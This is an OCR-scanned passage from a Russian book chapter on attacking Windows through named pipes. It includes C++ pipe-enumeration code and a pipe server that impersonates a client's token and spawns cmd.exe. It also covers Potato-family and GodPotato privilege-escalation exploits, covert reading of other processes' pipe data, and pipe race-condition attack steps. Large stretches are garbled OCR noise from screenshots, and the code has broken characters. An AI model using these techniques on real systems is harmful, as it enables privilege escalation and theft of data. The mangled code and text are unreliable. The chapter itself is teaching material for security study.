isPipeConnected = ConnectNamedPipe(serverpipe, NULLI;
if (isPipeConnected) (
DWORD dw;
WriteFile(serverpipe, message, sizeof(message), &dw, NULL);
std: :cout « dw « "Writed bytes to р1ре" « std: :endl;
DisconnectNamedPipe(serverpipe);
1
О,
О,
NULL);
CloseHandle(serverpipe);
return О;
// Client.cpp
#include <Windows.h>
#include <iostream>
int main (1
wchar t pipeName[] = L"\\\\. \\pipe\\mypipe"; //
Можно засунуть айnишник
"\\\\10.10.10.10\\pipe\\mypipe"
clientPipe = NULL;
wchar_t newMessage[40] = { О );
// Коннект к naйny
clientPipe = CreateFile(pipeName, GENERIC_READ I GENERIC_WRITE, О, NULL, OPEN_EXISTING, О,
NULL);
ReadFile(clientPipe, newMessage, sizeof(newMessage), NULL, О);
MessageBox(NULL, newMessage, NULL, МВ ОК);
return О;
НANDLE
Если хотим реализовать многопоточный сервер, т. е. при каждом подключении
клиента создавать поток, в справке есть хороший пример реализации:
docs.microsoft.com/ru-ru/windows/win32/ipc/multithreaded-pipe-server.
https://
Мы также
можем использовать функцию PeekNamedPipe (J для проверки того, нет ли в пайпе но
вых данных.
Изучение доступных пайпов
В системе одновременно работает множество именованных каналов. В следующих
разделах будем их активно эксплуатировать, поэтому логично будет научиться на
ходить работающие пайпы!
Process Hacker
Самый простой способ обнаружения пайпов
в
- воспользоваться красивым GUI
Process Hacker (https://processhacker.sourceforge.io/downloads.php, рис. 14.1 ).
Часть
260
11.
Системное программирование для хакеров
fl Ptoc.t'Я Нкut (WJ«\M~ ~
о
i::-~ I~::-«- ~~-
а х
Onc.,-i,pt ion
-_... --... -
...
--........ =
-.......
---....
---
~
- _-;:...
:;;:::======:::;;---::::-:--::..::..::..::..::.::.::.::::::' о- СЕ:]
+_
,_
""'
~<-> ...
--.,.. ...
с.а..{1318}
- ~4--(1811)
- - {..._,_ ( 1511)
--(IМ)
- - -)
- - - -)
....._()Dt)
....__(J»t}
--{-
-
(<al)
....__{45111)
. . . . . . (.,_)
Nit
FII
......
...
...
FII
Rlit
...
FII
""k
~..1807JC-f4o111НКJ--81C. . . . . ~. .4'a.1.....10Ulil.~ ~ tJI
- - - - ~ .....'IИ&. ......~'5L!Ol";Nr.. ........... "1311&.~L
OtAol'-~ ......, . , . . . ~J~ - •... ! , U I O I L ~ -•I
..... '.1........ . :1: ..........." " '
..,....,......._,,..,.'\W.. ......illlUI...
.......... ..,,.._..,.._...._,......_
. . . . . . . . . . . . ~ r , · - - ......- - -
.....,_(,._,
,.
\ONe!t,1•..,.; 1f $1 1'М.1....»IМL
. . . . . . . . . . . . . . . <1$1,,.......1WNr,}J,...
. . . . . (. .)
А1
. . . . . . . . . . .! , L , O C , I I L ~
Рис.
14.1. Достаточно
1nt...,.n19t• ...S ~ ,
.,..
х
nndtanclitl;orl)Us
lfТкerne\&Sy,,u.
,.,..
А-с;М~САf'М(.8
l'lp,;,t.....-lМ
1..ос•\
..,
Wi""°8d
lf l t 6 t t ' 1 ~
~с ' 8 < " ~ ~т ~~
"""
U. SLIVIU
..,.,.
uYJ'&
S.CVr-ity ...,.thority Proc.•••
kOtt • ~ c
АМ atyd
VircfoilS
А8то:а.tгрума ~
Windowa
r,..
~ c ~ u . . . t -C~
to,,
IIV{DIA Cont.-iNr
"""
\&IWD-•
uмr....
х.ос., -~с АА!1
c,tp6 Wi~
font Dri...- ttost
U. Sl.hlCE
W 1 ~ Or'lwtr FOIIIIМJ1t-iot1 ~
""'$t0Ylt(
Хос;т -,nрочкс
U. SOVIC!
W i ~ Ot-iWffr
О1А
ввести в поисковой строке
.,._
~
) • •DС:т
Windiow$
,ouno.н- ( NDf" )
- •о«
Пpot[NIIIQ OQA& 8 С~ W i ~
~
font Of' t114r """t
~ ОМО1t ,....,о (:1'0,U
pipe
С++
Для более глубокого контроля и написания собственных инструментов было бы
неплохо создать полноценную тулзу для обнаружения работающих пайпов. Здесь
нам подойдет особенность именования каналов
-
все они начинаются с .pipe.
В действительности это отдельное пространство имен. По нему можно пробегаться
так же, как и при поиске обычных файлов (рис.
Рис.
14.2.
14.2).
Пример поиска пайпов
Глава
14.
Используем
Named Pipes при
атаке на
Windows
#include <windows.h>
#include <iostream>
#include <string>
int main ()
НANDLE hFind;
WIN32 FIND DATA findFileData;
LPCWSTR pipesPath = L"\\\\.\\pipe\\*";
hFind = FindFirstFile(pipesPath, &findFileData);
if (hFind == INVALID_НANDLE_VALUE)
std: :wcerr « L"Failed to find pipes, error: " « GetLastError() << std: :endl;
return 1;
do
std: :wstring pipeName = L"\\\\.\\pipe\\" + std: :wstring(findFileData.cFileName);
std: :wcout « L"Found named pipe: " « pipeName;
hPipe = CreateFile(
pipeName.c_str(),
GENERIC READ
GENERIC_WRITE,
НANDLE
1
о,
NULL,
OPEN_EXISTING,
о,
NULL);
if (hPipe != INVALID
НANDLE_VALUE)
DWORD clientPID;
if (GetNamedPipeClientProcessid(hPipe, &clientPID))
std: :wcout << L", Client PID: "<< clientPID;
else
std::wcerr « L", Failed to get client PID, error: "« GetLastError();
if (GetNamedPipeServerProcessid(hPipe, &clientPID))
std: :wcout « L", Server PID: " « clientPID;
261
Часть
262
11.
Системное программирование для хакеров
else
std: :wcerr « 1
11 ,
Failed to get client PID, error:
11
« GetLastError ();
CloseHandle(hPipe);
else
std: :wcerr << 1
Failed to open pipe, error:
11 ,
11
« GetLastError();
std::wcout « std::endl;
while (FindNextFile(hFind, &findFileData) !=
О);
FindClose(hFind);
return О;
Я также добавил пример обнаружения
PID клиента пайпа и сервера. Я предпола
гаю, что клиент всегда будет нашим процессом, однако вы можете воспользоваться
функцией GetNamedPipeClientProcessid () и в другом контексте: например, перехватив
чужой хендл, как я описывал в главе
10.
Еще есть чуть более сложный вариант
сначала получить все хендлы, а потом
-
среди них находить пайпы. Я бы гордо игнорировал этот метод, однако у меня
в заметках сохранен такой код: https://gist.github.com/МzHmO/58ac36tъ29ef26d25
fifa897b0d68ad2,
значит, кому-то когда-то это понадобилось.
PowerShell
Согласитесь, что автоматизация и С++
пайпы можно и через
ров (рис.
#
PowerShell,
не самые близкие вещи. Исследовать
можно даже сделать красивый вывод дескрипто
14.3).
Ко всем nайпам
Get-Childitem \\.\pipe\
#
-
1
ForEach-Object -ErrorAction SilentlyContinue GetAccessControl
К конкретному пайпу
Get-Childitem \\.\pipe\eventlog I ForEach-Object -ErrorAction SilentlyContinue
GetAccessControl
PS
С:
\Users\l'lichael> Get-Childltem \ \. \pipe\eventtog
Path Owner
-- --
I
forEach-Object
( 1,
о· н r
1, 11 SilentlyContinue GetAccessControt
Access
------
NT AUTHORIТY\LOCAL SERVICE Все Allow
Рис.
CreateFiles, 11/riteExtendedAttributes, illr1teAttributes, Read, Synchronize ...
14.3.
Пример вывода дескриптора
Глава
14.
Используем
при атаке на
Named Pipes
263
Windows
10 Ninja
Но самый крутой вариант, особенно с целью найти уязвимость,
(https://ioninja.com/plugins/pipe-monitor.html,
рис.
это
-
10 Ninja
Эта утилита позволяет
14.4).
выводить максимально подробную информацию о пайпах и предоставляет все не
обходимые данные для ресерча.
С:J юrн
(dit
о
t-
Sution
RW: ~
~
х 1
tf:'FSman
_:о,ь-~---•------------------------------------
7,.
~=,cn,1on
,-..--c
.,,,..
-c--1t:t3:s1 .,.. .ее .нe11, ♦J:H •08.ее ,ме
11:M:J'.i ;.,,27.Ht
-,sr
C.•ptwrc st.•rted wlth flltl'r •
~rver fl.11' ope11ed
Hl• nме; \_rust_,non)'80WS.J)lpe1_ . 156М . 121S717716"88fil8Jl7
f111' ID:
8xffffC8"4CN)fet
,ro( ен
;,10:
'
Pr«e ss. :
РЛ):
11:ec:ls W11,z1.6a ,
.,,1
_____
..
_
_
11:14:-2.5 +-08:17.615
_
J/
l• 1.D:
Рr-ске, s i
JI
-
1
\Devic• '"•rdcll skVol18e4 \Users \ Т lЬЬо· User~•t• \L.ool \al tltr•k~\ •w· lt, 1. t\res0'1f'c• s \•Р9 . ,s,r. u~ckt
1S684
о
289,408
hff"CНfЧ"71'8
1
-
,o~~t'ct!.,,.,
н•ИЖ.tюf!
(
1
,
Proc:•s, :
\Devic• \Hal"ddt skVOl_. \U.J~s \ ТlЬЬо •User-\AppO•t.• \Lae:al \ai tk r-•ken\ •pp-18. 6. 8\~sour-c• s \ арр . •s•r-. vnpack~
PID:
1S6М
cli.-nt fL1e operмd
'
'11• n - : \_rust_•nonpous_pipcl_.1~ .HISЛ1716t918611J88
f:f.le 10:
8xfffH8"4CM7H8
Proce1 s :
\ ~vice \Нarddl skVol-Н \users \ TiЬЬo -user\AppData \Local \ &i tkr•k•n \арр-18 . 6. 8\resources \арр. asar-. unp•cltt
PlO:_
15664
Server- flle opened
f11e " - : \_rust_anon)W(Ws_pipet_.lts41, 1"6l9816132S4211~
Н
11:84:2'Jo •~ :21.6Н
RXtotalЬytб
'°"'"
271,103
.............
•Thtoughput'8kuLltor
~rver file оремd
FHt n - : \_ru1t_ar,ony«1Us_pipel_,15684,lllS71"1689N611Ш
FH• 10 :
ТXtottlЬ)1n
"'""-
1S64И
f11e n-: \_rvs t_,_)"IIOUS.J)l~1_ . 1S6М ,UIS717716"М611387
fHI' 10:
bfffl'CN94Cll444e
#
...........
1
\Drvic, \НarddiskVoli.c l\Ustrs\ TiЬЬo-~erv.ppo.u \LOC•l \ai tkr•kt:n \•рр· lt. 1, t \ rl'sourcts \ерр . •s•r . 1P19•cke
11:14;15 tfe,27,6.1♦ ; Clte11t flll' оре:мd
11 :.,.:25 i-ltQ :27 :6i1
х
f:telp
'!'Жt,on
-
'!t
tR
-~t,;11t
t-V:~,
1б,~!'11
noW...- ,_
8XffffCU937fl6188
\De--lice U..rddiskVolr.-.4 \Users \ Т'iЬЬo·Us•r \AppC)t,t• \Lcк•l '8;1 tkl'ake:nUlpp· lt. 6. t \reюur-ces \•рр. апr-. unpackt
PIO:
19$41
C.11ent fH• оремd
File n - : \_ni•t_•non~ s_pJpel_.1 9S41.7'9629816U15A21lts
fil• IO:
811Jfff08937f86Clt
\Oevice\Н8rddiskVol_. \USН>s \ J 1.Ьoo• User\Apfl08t.•\Loc•l \ci tltr•ken \ app • lt . 6 . t \ t"i!sour-<:es \арр . asar . unpaclц
Pro<:e, ~:
PJO:
19541
1:84:25 -te0121.6tS J/" se:,,__,. file opened
file nм,е: \_nat_•~s_p1pe1_.19S41.7t96291Z6132S4281t6
FiU 10:
txFFffCN937F8948t
,roces, :
\Dlvice \lf8rocli5kVOl--4 \UsffS \ Т lЬЬo-User-\Apf)Gat•\Lae:al \,-1 tltr•ken Ulpp- lt. 6. t \resourc•s \арр. •-'•r. un~cltГ"
~
Рис.
14.4.
Пример использования 1О
R«ordcol.lflt
R.кordfikшt
,.,_,..
lndtl:fileшe
LrtO
ColO
OhOOOO
Ninja
PipeViewer
С 1О
Ninja может смело посоревноваться PipeViewer (https://github.com/cyberark/
PipeViewer, рис. 14.5). У инструмента приятный графический интерфейс, авто
матический вывод дескрипторов и функция PipeChat, позволяющая установить
быстрое соединение с каналом.
Имперсонация клиентов
Предлагаю начать с базы. Серверы именованных каналов имеют право олицетво
рять подключенные клиенты. Причем если клиент не переопределял уровень им
персонации, то ему будет назначен стандартный
уровня достаточно для запуска
Сервер
может
нацепить
ImpersonateNamedPipeClient 11
ond.exe
на
-
Securitylmpersonation.
Такого
от лица пользователя.
себя
токен
клиента
через
вызов
функции
(https:/Лearn.microsoft.com/en-us/windows/win32/api/
namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient).
Часть
264
11.
Системное программирование для хакеров
-
...... ~
·-·-
...;_-···-
,-.1,..
С-Р()о
,..,..,_,.
•н·•r;_11(~}•iм-····--·-r...;;.;;·-···-
\\..........
-....11, _
_---
·- -
;~-== :_ ;; -1;:::::~::::
\\~
1~ s г
~
1:::::
-.·
-•=
~
--~
~
3;::
1
"'-....
-..s-
j::::
!
1 ;;;.~ .-= -- -:-=-~ _:_г -;.
T:z:: .
;:z:- f::::
~~~ ~~==~~: ;::;~_~ ;_}:j~ ~.:::=~:;r"°"""
~.- ~~ - ~::::
j \'\.~
\\.~
W.....
...,._At~ - - 1 1 84-G
х
...i~
,~.-,..-т~~- :~...,._ ' 1.fl.l\№l:l.•
OII
MT.fltltll(fljl'Y\
._,.
-
\_~ ,1,И; j"""""-'мWI
- ['""'-~•,;- - -
\11МО1'z11100 llfIOЖOAINL ra..-.
-~-~п-:оо [№""'~:j!"!, . . ..
-~ w , w
~.<w:W\:·if'lt.ll.ц......C __ ~w.w.. 1ЛIК01:l,AOD
•~
.-..Fl.:!~ " " - 0 ~-~~ ~
1/1/ttOll.tlltOII
...__::~~~~- ~ •~w-o( -_ IIIIМDltl!!"
-т~-U.,:,-r~'fl/lilloO
l(f.frUTНDlll!"f\..Та..
.~......w._
И/№12.IIIOII Nl№I'~ ;о,,е
f··----------···-··-
~
/ 1.w.l~r -
\IIIМUl_itOOOII
i,_
,_
,Oi!I«
WH,UTttClflol'l'\.J Cl,t,t
~w.l:
:"~~1~......., -~~ :,,,""'~~.........),-,.._......о...
·tс:.м
I
-=~-==
•••• ::::-::::: :::~ .
о
ll'T#ILllll(JIIIIМ.:. О.,
;~~
•:Odllt
1ttoll,lfНOAl\"l'\Ja..
1~•
:М:С
., ..~
:r°" ---~.--·;-•---,
~~~~==-~ ~--::::: -- ,~~
!= : : :J::::=~ ~
-= :: •,: :=i1:: .,"'-. ,',--
1
:
: __
~~ ........ ~_,.._ - - - -- •1n1К01iat~№ТIOll
="'-ёc=-E""'
~--+'c=----<
"
"_,..
~~1
\\........,.Wt
"-.~
.......
+ ~.IWl'i....L- . 1 1 ~ - -......~~tn/Кlllutlll
t
f
~ N I E ! . . , ~ W . . 0-. ~"""8L.
~ u . , -. J~ _ _ , - .....
.....,~).........«
1~~ }··~~-'....о
"Рис.
14.5.
Интерфейс
11,,..,to1it00011
;l~IМD\lOIICD
~ ~--r ,1IIIIO\ltlt«I
Ml.lrUIНDlll~a..
о.а
'
11r№rкw~.•a.,, _
' a,o;j-·
.... rм-:JQ,,,,i
... ,...,..;...__ 1~
-::ll,UI
••
-----t~
PipeViewer
ImpersonateNamedPipeClient(
[in] НANDLE hNamedPipe
В001
);
Здесь hNamedPipe -
это хендл пайпа, к которому подключился клиент.
В этом и следующих разделах мы будем симулировать поведение клиента и серве
ра. В коде вы встретите
Server. срр (Pipe Server) и Client. срр -
клиентская часть, ко
торая подключается к пайпу.
Для имперсонации клиента достаточно лишь дождаться его подключения и вызвать
функцию чтения.
// Client.cpp
#include <iostream>
#include <Windows.h>
const int MESSAGE SIZE
512;
int main()
LPCWSTR cwPipeName
hClientPipe
НANDLE
L"\\\\.\\pipe\\mysuperpipe";
NULL;
wchar_t msg[] = L"imp";
DWORD dwBytesReaded;
std: :wcout « L"Connecting to " « cwPipeName « std:: endl ;
hClientPipe = CreateFile(cwPipeName, GENERIC READ GENERIC_WRITE,
О,
NULL, OPEN_EXISTING,
О, NULL);
Глава
14. Используем Named Pipes при атаке на Windows
if (hClientPipe
1=
265
NULL)
std: :wcout << L"Success" << std: :endl;
while (true) {
ReadFile(hClientPipe, &msg, wcslen(msg), &dwBytesReaded, NULL);
WriteFile(hClientPipe, &msg, wcslen(msg), &dwBytesReaded, NULL);
return
О;
// Server.cpp
#include <iostream>
#include <windows.h>
#include <sddl.h>
int main() {
LPCWSTR cwPipeName = L"\\\\.\\pipe\\mysuperpipe";
НANDLE hServerPipe = NULL;
В001 bPipeConnected = FALSE;
DWORD dwErr;
wchar_t msg[] = L"imp";
DWORD dwBytesWritten;
SECURITY DESCRIPTOR sd =
SECURITY ATTRIBUTES sa =
О
о
);
};
if ( 1 InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION})
wprintf(L"InitializeSecurityDescriptor() failed. Error: %d\n", GetLastError() );
return NULL;
if ( 1ConvertStringSecurityDescriptorToSecurityDescriptor(L"D: (A;OICI;GA;;;WD)",
SDDL_REVISION_l, &((&sa)->lpSecurityDescriptor), NULL))
wprintf(L"ConvertStringSecurityDescriptorToSecurityDescriptor () failed. Error: %d\n",
GetLastError() );
return NULL;
hServerPipe
CreateNamedPipe(cwPipeName, PIPE_ACCESS DUPLEX, PIPE_TYPE_BYTE I PIPE_WAIT,
10, 2048, 2048, О, &sa);
bPipeConnected
ConnectNamedPipe(hServerPipe, NULL);
266
Часть
11.
Системное программирование для хакеров
if (bPipeConnected) {
std: :wcout « "Client Connected!" « std: :endl;
WriteFile{hServerPipe, msg, wcslen(msg), &dwBytesWritten, NULL);
ReadFile(hServerPipe, msg, wcslen(msg), &dwBytesWritten, NULL);
if (ImpersonateNamedPipeClient(hServerPipe) ==
О)
dwErr = GetLastError();
std: :wcout << dwErr << std: :endl;
НANDLE
НANDLE
hSystemToken;
hSystemTokenDup;
if { 1 OpenThreadToken(GetCurrentThread{), TOKEN_ALL_ACCESS, FALSE, &hSystemToken))
wprintf(L"OpenThreadToken(). Error: %d\n", GetLastError());
return -1;
if
1 1 DuplicateTokenEx(hSystemToken, TOКEN_ALL_ACCESS,
NULL, Securityimpersonation,
TokenPrimary, &hSystemTokenDup))
wprintf(L"DuplicateTokenEx() failed. Error: %d\n", GetLastError());
return -1;
wchar t command[] = L"C:\\Windows\\system32\\cmd.exe";
PROCESS_INFORМATION pi = {);
STARTUPINFO
si = {);
ZeroMemory(&si, sizeof{STARTUPINFO));
si.cb = sizeof{STARTUPINFO);
DWORD len;
STATISTICS stats;
if (: :GetTokenlnformation(hSystemTokenDup, TokenStatistics, &stats, sizeof(stats),
&len))
pr intf ("Logon Session ID: 0x%08llX\n", (stats. Authenticationid) ) ;
printf("Token Туре: %s\n", stats.TokenType == TokenPrimary? "Primary"
"Impersonation");
printf{"Dynamic charged {bytes): %lu\n", stats.DynamicCharged);
printf{"Dynamic availaЫe (bytes): %lu\n", stats.DynamicAvailaЬle);
printf{"Group count: %lu\n", stats.GroupCount);
printf("Privilege count: %lu\n", stats.PrivilegeCount);
ТОКЕN
Глава
14.
Используем
Named Pipes
при атаке на
267
Windows
if (CreateProcessWithTokenW (hSystemTokenDup, LOGON WITH PR0FILE, cormnand, NULL,
CREATE_NEW=CONSOLE, NULL, NULL, &si, &pi)
О)
dwErr = GetLastError();
std: :wcout « dwErr « std: :endl;
return
О;
происходит лишь подключение к пайпу. В коде
В клиентском коде все очевидно сервера создаем пайп, меняем его дескриптор (tПобы у всех были права на чте
ние/запись), после подключения клиента хватаем его токен и имперсонируем. Сер-
ii
L~1.1
и<.тр< rcp <... .;indo\A#5 ~ ,stemЗ'- cmd rxe •
Hicrosoft
(с)
Шndows
Sef\ler.o::xe
[Version 10.0.1904'>.4046]
(f1icrosoft Corporation).
Корпорация Найкрософт
,и C:\Windows\system32>cd
Все
права
защ ищены.
A:\SSD\ProjectsVS\Articles\x64\Debug
◄ IC:\Windows\system32>a:
•
р1
А:
\55O\Pro j ее t s V~ \Ar't i с 1,. , \ х64 \ o,-,tн,g :, . \ с,,-, r,•or . с-хе
!»
+
Х
Ад-НИСJР"rор: WindoW\ 1'о,
Windows PowerShe\t
(l'licrosoft Corpor11.tion) .
(С) Корпорация 1'111.йкрософт
Попробуйте новую кросспл11.тформенную оболочку
Все права за111и111ен•1 .
PowerShett
(https : //11.ka . ~s/pscoreб)
PS C: \Users\l'lich11.et> cd A : \SSD\ProjectsVS\Artictes\xбЦ\Debug
PS A:\SSD\ProjectsVS\Articles\x611\0ebug>
Рис.
Рис.
14.7.
14.6.
Второй шаг
-
Первый шаг
-
поднятие сервера
запуск фейкового клиента. Симуляция подключения
Часть
268
е Адммн...аратор: Windows Ро
>с;
111
11.
Адuинистра:rо р: Windows Ро"'
Системное программирование для хакеров
Х
□
+
х
Windows PowerShe Н
(С) Норnор,щия llайкрософт
(Microsoft Corporation) .
Попробуйте новую кроссnлатформенную оболочку
Все nра.ва ,ци11ено, .
PowerShelt (https: //aka . 11s/pscoreб)
PS С : \Users\llichael> cd А: \SSD\ProjectsVS\Articles\xбll\Debug
PS А : \SSD\ProjectsVS\Artictes\xбll\Debug> cd А : \SSD\ProjectsVS\Artictes\xбll\Debug "C
PS А : \SSD\ProjectsVS\Artictes\xбll\Debug> . \Client . ехе
Connecting to \\. \pipe\11ysuperpipe
Success
PS А : \SSD\ProjectsVS\Articles\xбll\Debug> . \Client . ехе
Connect i ng to \ \. \pipe\11ysuperpipe
Success
PS А: \SSD\ProjectsVS\Artictes\xбll\Debug> . \ctient . ехе
Connecting to \ \. \pipe\11ysuperpipe
Success
PS А : \SSD\ProjectsVS\Articles\xбll\Debug> . \Ctient . ехе
Connecting to \ \. \pipe\11ysuperpipe
Success
~ Ад~1иниаратор: C:\W1ndo~\system 32\cmd.e< e
□
~Hиosoft
liindows (Version 10.0.19045.4046)
(,:) Корпорац и я Nайкрософт (Hicrosoft Corporation).
С:
Все права
защ и щены.
\Hindows \ sy s tem32 >1,,1hoami
winpc\michael
с: \ lч indows \
sys tem32 , _
Рис.
14.8.
Успешная имперсонация
вер рекомендую запускать от лица системы либо от учетной записи, у которой есть
права на вызов CreateProcessWithTokenW() (рис.
14.~14.8).
Есть реализации и на других языках, вот два варианта на
PowerShell:
один:
https://
github.com/S3cur3ThlsShlt/Get-System-Techniques/ЫoЬ/master/NamedPipe/Named
PipeSystem.psl
за
авторством
S3cur3Th 1sSh 1t,
второй
-
https://github.com/
decoder-it/pipeserverimpersonate/ЫoЬ/master/pipeserverimpersonate.psl
зитория пользователя
Or
из
репо
decoder-it.
этой атаки, конечно же, есть защита. Клиент может контролировать уровень
имперсонации. О защите подробно написано в ответе на Stack Overflow
(https://stackoverflow.com/questions/31506364/prevent-the-use-ofimpersonatenamedpipeclient). Если вам интересно узнать, как конкретно работает
имперсонация через пайпы, рекомендую изучить материал Джонатана Джонсона:
https://jsecurity101.medium.com/exploring-impersonation-through-the-named-pipefilesystem-driver-15tз24dtъat2.
Чейн с
Selmpersonate
Возможности имперсонации часто используются в популярных эксплойтах «карто
фельной» серии. Они позволяют повысить свои привилегии до уровня системы,
имея доступ к учетной записи с SeimpersonatePrivilege. Общий концепт прост: стриr
rерить учетную запись системы на пайп, захватить токен, нацепить его на себя.
Глава
14.
Используем
Named Pipes
при атаке на
269
Windows
Вот несколько таких эксплойтов:
□
PrintSpoofer (https://github.com/itm4n/PrintSpoofer) -
триггер на пайп проис
ходит через службу печати;
□
□
триггер
CoercedPotato (https://github.com/hackvens/CoercedPotato) службу печати, а также через механизм PetitPotam со злоупотреблением
циями протокола MS-EFSR;
DiagTrack
(https://github.com/Wb04m1001/DiagTrackEoP)-тpигrep через уяз
вимую службу
□
□
через
функ
DiagTrack;
RasmanPotato (Ьttps://gitbub.com/crisprss/RasmanPotato) службой Rasman;
злоупотребление
inagicAzureAttestService (bttps://github.com/crisprss/magicAzureAttestService) AzureAttestService.
служба
Отдельно хочу выделить эксплойт
GodPotato).
GodPotato
(bttps://github.com/ВeichenDream/
Глобально его логика ничем не отличается от инструментов, перечис
ленных выше, однако сам триггер происходит по методу
Kerberos Relay.
То есть
идет злоупотребление DСОМ-аутентификацией. Я подробно рассматривал этот
механизм в материале «Ретрансляция
Kerberos.
Как работает RemoteКrbRelay»
( https ://ha br.com/ ru/articles/848542/).
Вот что происходит при использовании этого эксплойта.
l.
Запускается пайп-сервер (bttps://github.com/ВeicbenDream/GodPotato/ЫoЫ
59f66583474fЪ0297b7447551460e1072de324c0/NativeAPI/GodPotatoContext.cs
#L269,
рис.
14.9).
267
void Sta r t() {
i--= (IsHook && !IsStart)
268
{
266
V
puЫic
pipeServerThread = nen Thread(PipeServer);
pipeServerThread.IsBackground = true;
pipeServerThread.Start();
IsStart = t rue;
269
270
271
272
273
}
274
else
275
{
thron nen Exception("IsHook
276
277
false");
}
278
279
}
Рис .
2.
Через
перезапись
кода
14.9.
функция
Запуск Рiре-сервера
нookRPC ()
(Ьttps://github.com/ВeichenDream/
GodPotato/ЫoЬ/59f66583474fЪ0297b7447551460e1072de324c0/NativeAPI/GodPo
tatoContext.cs#L28 l)
биндит на разрешенном
13 5-м
порте ( чтобы перехватывать
Часть
270
Системное программирование для хакеров
11.
SМВ-аутентификацию) функции RpcServerUseProtseqEp ()
в
RPC Dispatch
ТаЬ\е.
Вместо этого будет вызываться функция fun () (https://github.com/ВeichenDream/
GodPotato/ЫoЬ/59f665834 7 4fЬО2 97Ь7 44 7 551460е 1072de324c0/N ativeAPI/GodPo
tatoContext.cs#L341,
1•••
281
puЬlic
V
рис.
14.1 О).
void HookRPC()
282
283
uint old;
284
VirtualProtect (OispatchTaЫePtr, (uint) ( Intptr. Size
285
Marshal . Wri telntPt r"" (DispatchTaЫeptr, Harshal . GetFunctionPointerF orDelegate( useProtseqDelegate));
286
IsHook
=
I
dispatchTaЫe.
length), 0 ,-(Ц ,
,Jt
old);
true;
287
Рис.
14.1 О.
Перезапись
RPC Dispatch
ТаЫе
В качестве конечной точки для подключения указывается пайп
3.
(https://gith ub.com/ВeichenDream/GodPotato/ЫoЬ/59f665834 7 4fЬО297Ь 744 7551
460e1072de324c0/NativeAPI/GodPotatoContext.cs#L343, рис. 14.11 ).
4.
Срабатывает триггер системы через маршалинг вредоносного объекта
Происходит обращение к
5. OXID Resolver отдает RPC String Binding
341
V
1
342
puЫic
OBJREF.
OXID Resolver.
на эндпоинт из пункта
3.
int fun(Intf>t:r ppdsaNewBindings, Intf>t:r ppdsaNewSecurity)
{
string[) endpoints = { godPotatoContext.clientPipe, "ncacn_ip_tcp:fuck you
343
!" };
344
346
int entrieSize = 3;
•or (int i = 0; i < endpoints.Length; i+ +)
347
{
345
entrieSize += endpoints[i].Length;
entrieSize++;
346
349
350
Рис.
14.11.
Эта функция пишется в
RPC Dispatch
ТаЫе, здесь можно увидеть зндпоинт
198
199
if ((isConnect 11
Harshal.Getla stWinЗ2Error() == ERROR_PIPE_CONNECТEO) && IsStart)
200
201
Conso_l~_W riter.';l~iteline("[•] Pipe Connected!");
202
if
(ImpeгsonateNamedPipeClient
(pipeServerHandle))
203
204
systemldentity
205
i f ( systemldentity. Impersonationlevel <= Tok.enlmpersonationlevel. Identi fication)
=
Windowsldentity .GetCurrent ();
206
207
RevertToSelf();
208
209
210
ConsoleWriter.Writeline("[*] CurrentUser:
211
ConsoleWriter .\·lriteline (" [ •] Currentslmpersonationlevel: " + systemldentity. Impersonat ionlevel) j
"+
systemidentity.Name);
212
Рис.
14.12.
Эта функция пишется в
RPC Dispatch
ТаЫе, здесь можно увидеть зндпоинт
Глава
6.
14.
Используем
Named Pipes
при атаке на
Происходит аутентификация на
ImpersonateNarnedPipeClient()
271
Windows
NamedPipe
и дергается функция
(https://gitbub.com/ВeichenDream/GodPotato/ЬloЬ/59f66583474fЬ0297b7447551
460e1072de324c0/NativeAPI/GodPotatoContext.cs#Ll 77,
рис.
14.12).
Скрытое чтение данных
Как вы уже знаете, пайпы нужны для чтения данных. У пайпов есть дескриптор
безопасности, который по умолчанию позволяет всем читать текстовые данные из
пайпа. Сразу даже как-то не верится: неужели мы можем считывать все данные из
пайпа? Можем!
Нужно только учесть одну особенность: читают данные обычно с помощью стан
дартных
API,
например ReadFile (). А такое считывание приведет к тому, что пайп
опустеет. То есть данные будуr считаны и удалены из пайпа. Для нас такое поведе
ние недопустимо, поэтому на помощь приходит функция PeekNarnedPipe () (bttps://
learn.microsoft.com/ru-ru/windows/win32/api/namedpipeapi/nf-namedpipeapipeeknamedpipe ). Эта функция считывает данные, не удаляя их из пайпа.
С ней мы сможем получить список пайпов в системе, а потом в цикле считывать из
них данные с помощью PeekNarnedPipe () и искать в них чувствительную информацию
или хотя бы какие-нибудь данные, которые помогут продвинуться дальше.
Я немного изменил логику программы в части поиска пайпов, добавив возмож
ность чтения данных, лежащих в пайпе, с выводом размерности. Код большой, це
ликом
ищите
на
моем
5f3783е08Ы227с07Ь (рис.
GitHub:
14.13).
Рис.
bttps://gist.gitbub.com/МzHmO/1880051aa52924
14.13.
Пример чтения
272
Часть
11.
Системное программирование для хакеров
Гонка пайпов
Помните, я говорил, что можно создавать неограниченное количество каналов
с одним и тем же именем? Система будет использовать тот канал, который был
создан раньше. Можно считать, что все пайпы с одним названием организованы
в формате очереди
- First In First Out.
Таким образом, появляется возможность некоторого состояния гонки: кто быстрее,
того и тапки. Есть одно исключение: если при создании пайпа используется флаг
FILE_FLAG_FIRST_PIPE_INSTANCE, то
Windows
автоматически проверит, нет ли пайпа с та
ким именем. Если имя уже занято, то пайп не создастся. Также стоит учесть пара
метр nМaxinstances, который определяет максимальное количество пайпов с одним
именем.
Держите в голове и еще одну особенность: если в системе уже создан пайп, то но
вые создаваемые пайпы с таким же именем будут наследовать дескриптор безопас
ности ранее созданного пайпа.
Как это можно эксплуатировать? Допустим, есть клиентское приложение, возмож
но даже, работающее в другом контексте, которое пытается подключиться к такому
же привилегированному приложению
-
серверу пайпов. Если мы сможем опере
дить серверное приложение и создать пайп с нужным именем раньше, то клиент
подкточится к нам и у нас будут все возможности для воздействия на него. Напри
мер, никто не помешает имперсонировать чужой контекст или отправлять специ
ально созданные пакеты в пайп, ожидая, что клиент совершит вредоносные дей
ствия.
Итак, сценарий атаки на клиент по шагам.
1.
Определяем целевое приложение, которое создает пайп.
2.
Обнаруживаем клиенты пайпа. Делать это можно через
3.
Пишем приложение, которое создает пайп с таким же именем, что и атакуемое
PipeViewer (рис. 14.14).
приложение.
4.
Реализуем
Race Condition, создавая
наш пайп раньше, чем приложение-сервер.
5.
Клиенты начинают подкточаться к нам.
6.
Проводим имперсонацию или пишем/читаем данные. В общем, воздействуем на
клиент так, как можем.
Есть сценарий атаки на сервер. Держите еще в голове информацию про дескрип
тор? Смотрите:
1.
Обнаруживаем приложение, которое создает пайп.
2.
